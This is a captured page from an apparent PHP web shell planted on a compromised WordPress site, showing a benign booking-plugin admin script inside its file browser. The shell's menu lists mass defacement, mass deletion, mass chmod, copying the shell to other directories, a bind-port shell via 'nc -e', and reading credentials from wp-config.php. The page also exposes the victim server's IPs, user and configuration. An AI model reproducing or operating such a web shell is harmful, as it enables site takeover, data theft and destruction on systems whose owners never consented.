WPZ

/ web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-content / plugins / jet-booking / assets / js / admin / [dxwrx-r--r]
berkas terminal database massal sistem
/web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/admin/macros-inserter.js (6.61 KB)
( function() {
    "use strict";

    window.jetABAFMacrosInserter = {
        data() {
            return {
                currentMacros: {},
                editMacros: false,
                macrosList: window.JetABAFConfig.macros_list,
                isActive: false,
                result: {}
            };
        },
        methods: {
            applyMacros( macros, force ) {
                force = force || false;

                if ( macros ) {
                    this.$set( this.result, 'macros', macros.id );
                    this.$set( this.result, 'macrosName', macros.name );

                    if ( macros.controls ) {
                        this.$set( this.result, 'macrosControls', macros.controls );
                    }
                }

                if ( macros && ! force && macros.controls ) {
                    this.currentMacros = macros;
                    this.editMacros = true;

                    return;
                }

                this.$emit( 'input', this.formatResult() );

                this.isActive = false;
                this.result = {};

                this.resetEdit();
            },
            checkCondition( condition ) {
                let checkResult = true;

                condition = condition || {};

                for ( const [ fieldName, check ] of Object.entries( condition ) ) {
                    if ( check && check.length ) {
                        if ( ! check.includes( this.result[ fieldName ] ) ) {
                            checkResult = false;
                        }
                    } else {
                        if ( check !== this.result[ fieldName ] ) {
                            checkResult = false;
                        }
                    }
                }

                return checkResult;
            },
            formatResult() {
                if ( ! this.result.macros ) {
                    return;
                }

                let res = '%';

                res += this.result.macros;

                if ( this.result.macrosControls ) {
                    for ( const prop in this.result.macrosControls ) {
                        res += '|';

                        if ( undefined !== this.result[ prop ] ) {
                            res += this.result[ prop ];
                        }
                    }
                }

                res += '%';

                if ( this.result.advancedSettings && ( this.result.advancedSettings.fallback || this.result.advancedSettings.context ) ) {
                    res += JSON.stringify( this.result.advancedSettings );
                }

                return res;
            },
            getControlValue( control ) {
                if ( this.result[ control.name ] ) {
                    return this.result[ control.name ];
                } else if ( control.default ) {
                    this.setMacrosArg( control.default, control.name );
                    return control.default;
                }
            },
            getPreparedControls() {
                let controls = [];

                for ( const controlID in this.currentMacros.controls ) {
                    let control = this.currentMacros.controls[ controlID ];
                    let optionsList = [];
                    let type = control.type;
                    let label = control.label;
                    let defaultVal = control.default;
                    let groupsList = [];
                    let condition = control.condition || {};

                    switch ( control.type ) {
                        case 'text':
                            type = 'cx-vui-input';
                            break;

                        case 'select':
                            type = 'cx-vui-select';

                            if ( control.groups ) {
                                for ( let i = 0; i < control.groups.length; i++ ) {
                                    let group = control.groups[ i ];
                                    let groupOptions = [];

                                    for ( const optionValue in group.options ) {
                                        groupOptions.push( {
                                            value: optionValue,
                                            label: group.options[ optionValue ],
                                        } );
                                    }

                                    groupsList.push( {
                                        label: group.label,
                                        options: groupOptions,
                                    } );

                                }
                            } else {
                                for ( const optionValue in control.options ) {
                                    optionsList.push( {
                                        value: optionValue,
                                        label: control.options[ optionValue ],
                                    } );
                                }
                            }

                            break;

                        default:
                            break;
                    }

                    controls.push( {
                        type: type,
                        name: controlID,
                        label: label,
                        default: defaultVal,
                        optionsList: optionsList,
                        groupsList: groupsList,
                        condition: condition,
                        value: control.default,
                    } );
                }

                return controls;
            },
            onClickOutside() {
                this.isActive = false;
                this.resetEdit();
            },
            resetEdit() {
                this.currentMacros = {};
                this.editMacros = false;
            },
            setMacrosArg( value, arg ) {
                this.$set( this.result, arg, value );
            },
            switchIsActive() {
                this.isActive = ! this.isActive;

                if ( this.isActive ) {
                    if ( this.result.macros ) {
                        for (let i = 0; i < this.macrosList.length; i++ ) {
                            if ( this.result.macros === this.macrosList[ i ].id && this.macrosList[ i ].controls ) {
                                this.currentMacros = this.macrosList[ i ];
                                this.editMacros = true;
                            }
                        }
                    }
                } else {
                    this.resetEdit();
                }
            },
        }
    }
} ) ();
namawaktuukuranownerpermaksi
..
blocks-view/ 2026-07-21 14:16104.48 KB 76129f60960:kundendxwrx-r--r
bookings-list-meta.js 2026-07-21 14:161.4 KB 76129f60960:kunden-xw-x-----
edt
bookings.js 2026-07-21 14:1644.58 KB 76129f60960:kunden-xw-x-----
edt
calendars.js 2026-07-21 14:164.8 KB 76129f60960:kunden-xw-x-----
edt
common.js 2026-07-21 14:16218 B 76129f60960:kunden-xw-x-----
edt
macros-inserter.js 2026-07-21 14:166.61 KB 76129f60960:kunden-xw-x-----
edt
meta-configuration.js 2026-07-21 14:16974 B 76129f60960:kunden-xw-x-----
edt
meta-custom-schedule.js 2026-07-21 14:161.6 KB 76129f60960:kunden-xw-x-----
edt
meta-extras.js 2026-07-21 14:162.09 KB 76129f60960:kunden-xw-x-----
edt
meta-price.js 2026-07-21 14:164.05 KB 76129f60960:kunden-xw-x-----
edt
schedule-manager.js 2026-07-21 14:165.24 KB 76129f60960:kunden-xw-x-----
edt
set-up.js 2026-07-21 14:162.36 KB 76129f60960:kunden-xw-x-----
edt
settings.js 2026-07-21 14:1612.36 KB 76129f60960:kunden-xw-x-----
edt
units-manager.js 2026-07-21 14:162.47 KB 76129f60960:kunden-xw-x-----
edt
vendors.js 2026-07-21 14:16301 B 76129f60960:kunden-xw-x-----
edt
wc-details-builder.js 2026-07-21 14:161.76 KB 76129f60960:kunden-xw-x-----
edt
aksi pada path manual

cwd: /web/1/000/076/129/313906/htdocs/wp-content/plugins/jet-booking/assets/js/admin
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK